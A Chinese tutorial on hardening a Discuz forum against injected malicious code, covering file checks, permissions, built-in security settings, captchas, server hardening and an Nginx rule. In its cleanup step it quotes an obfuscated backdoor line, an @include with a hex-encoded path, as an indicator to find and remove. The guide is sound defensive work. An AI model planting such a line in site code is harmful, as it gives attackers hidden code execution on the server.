如何开启 Discuz 安全中心验证保护站点免受挂马?

文章导读
Discuz 站点防挂马不能单靠开启某个验证功能,需要结合文件权限、安全模块、云端防护和定期排查多层措施。市面上流传的「安全中心验证」并非单一开关,需通过综合配置实现防护。
📋 目录
  1. 快速处理思路
  2. 为什么会这样
  3. 分步处理
  4. 怎么验证是否生效
  5. 常见坑
  6. 参考来源
A A

Discuz 站点防挂马不能单靠开启某个验证功能,需要结合文件权限、安全模块、云端防护和定期排查多层措施。市面上流传的「安全中心验证」并非单一开关,需通过综合配置实现防护。

先说结论:Discuz 没有名为「安全中心验证」的单一开关,防挂马需要清理残留安装文件、开启后台安全模块、配置服务器权限,并配合验证码插件或云端防护。

  • 先判断:确认站点是否已被挂马,检查百度快照是否跳转异常、后台文件校验是否有文件被修改
  • 优先做:删除 install 目录、设置配置文件只读、开启登录限制和防采集、启用验证码
  • 再验证:通过文件校验工具复查、观察百度收录是否正常、监控服务器日志

快速处理思路

Discuz 防挂马没有一条命令能解决,需要按以下顺序处理:

1. 进后台「工具」→「文件校验」,查看最近被修改的 PHP 文件

2. 删除网站根目录下的 install/ 目录(不是改名,是彻底删除)

3. 设置 data/config/config_global.php 权限为 644,data/ 目录权限为 755

4. 后台「全局」→「安全设置」中开启登录失败次数限制、IP 锁定、防采集

5. 安装可靠的验证码插件替代已停止服务的防水墙,X2 版本需先升级文件

6. 修改 FTP 密码、服务器密码、网站后台密码

为什么会这样

Discuz 被挂马通常是因为上线前没有清理安装包残留文件。install/ 目录、source/install/ 等残留安装文件是线上环境最常被利用的入口,不清理等于给攻击者留了后门。

挂马的常见表现是在百度中输入自己网址,出现被收录的帖子链接,点击后跳转到博彩网站等异常页面。这是因为恶意代码被植入到 PHP 文件中,通过@include($_SERVER['DOCUMENT_ROOT']...) 这类代码加载非法上传的文件。

Discuz 本身提供了一些安全模块,但默认不全开。光靠 WAF 或 Nginx 规则不够,核心防御得落在应用层配置上。

分步处理

第一步:排查已挂马文件

进入 Discuz 后台,找到「工具」→「文件校验」,查看最近有哪些 PHP 文件被修改。排查网站源文件的 PHP 文件,查看是否有出现 IP 地址或异常网站地址(上面跳转的网站),如果有就删除。

如何开启 Discuz 安全中心验证保护站点免受挂马?

重点检查是否有如下代码:

@include($_SERVER['DOCUMENT_ROOT'].pack('H*','2F646174612F6176617461722F30'))

如果有这段代码,删除它并检查对应路径下是否存在被非法上传的文件。

第二步:清理危险配置与权限

删除整个 install/ 目录,确保 source/install/ 等残留安装文件也被清理。通过 SSH 连接服务器,执行以下命令设置权限:

cd /www/wwwroot/your_site
chmod -R 755 data/
chmod 644 data/config/config_global.php
chown -R www:www .

检查 uc_server/data/config.inc.php 是否也设为只读,UCenter 配置泄露会直接导致全站用户凭据失控。

第三步:开启内置安全模块

进入后台「全局」→「安全设置」:

  • 启用「登录失败次数限制」和「IP 锁定时间」,防止暴力爆破 admin.php
  • 开启「防采集」:勾选「禁止未授权的外部脚本调用接口」,阻断自动化灌水机器人
  • 「论坛相关」→「发帖相关」中,把「新用户发帖审核」设为「是」
  • 配合「用户组」→「新注册用户」→「发帖数限制=0」,避免注册机秒发广告帖

除非业务强需求,否则关闭「允许游客浏览」,游客无 session 绑定,极易被用于 CSRF 或 XSS 传播。

第四步:配置验证码与云端防护

注意:Discuz 原版腾讯防水墙服务目前已停止新用户接入。建议前往 Discuz 应用中心安装第三方验证码插件(如极验、ReCaptcha 等)。

若仍使用旧版防水墙,需确认服务状态。防护功能包括实时过滤违规主题和回帖,将被拦截信息自动转入回收站,无需站长手工删帖。系统依托安全中心的数据分析能力,结合 AI 及大数据技术实现识别,提供验证码、IP/设备画像等防护功能。

第五步:服务器层安全加固

挂马问题解决后,更改 FTP 密码、服务器密码、网站密码,尽量设置复杂一些。建议修改部分默认端口,如 SSH、宝塔面板默认端口,设置新端口后将默认端口在服务器安全策略、安全组中全部设置禁止访问。

关闭 MySQL 默认的 3306 端口对外暴露,若数据库与 Web 服务在同一台机器,应禁止外部访问 3306 端口,仅允许本地连接。

在 Nginx 配置中禁止特定目录执行 PHP,防止上传木马被执行。示例配置如下:

location ~* ^/(data|upload|static)/.*\.php$ {
    deny all;
    return 403;
}

怎么验证是否生效

1. 再次进入后台「工具」→「文件校验」,确认没有新的文件被修改

如何开启 Discuz 安全中心验证保护站点免受挂马?

2. 在百度中搜索自己网站,观察收录的帖子链接点击后是否还跳转异常页面

3. 查看服务器日志,检查是否有大量错误访问链接或国外 IP 扫描

4. 定期检查邮件发送日志(如果开启了邮箱验证),有助于及时发现发送失败问题

5. 使用宝塔等面板的防火墙扫描功能扫描目录,人工排查误报

常见坑

1. install/ 目录只改名或用.htaccess 禁止访问是不够的,必须彻底删除

2. 宝塔扫描结果很多是误报,需要人工排查,别错把缓存目录文件当做异常文件

3. 已经百度收录的异常页面一般很难处理,可以举报那个收录的页面,或在问题处理后去百度资源平台批量提交链接 404

4. 被挂马不仅要扫描网站目录,还要扫描其它目录,服务器被攻破后攻击者会把文件复制到其它地方

5. 有时异常文件是加密的,可根据加密文件的特征代码将加密内容解密,可能会发现更多特征代码如登录地址、密码、账号等

6. 有人把木马伪装成图片上传,可以在 Nginx 里禁止某些目录运行 PHP

7. 设置拦截 IP 或手动设置 IP 黑名单时,要注意获取真实 IP

8. 确保网站的「运行模式」不是「关闭」,否则邮件验证等功能不会发送

参考来源

  • Discuz 官方安全设置文档
  • 服务器安全加固最佳实践
  • Nginx 安全配置指南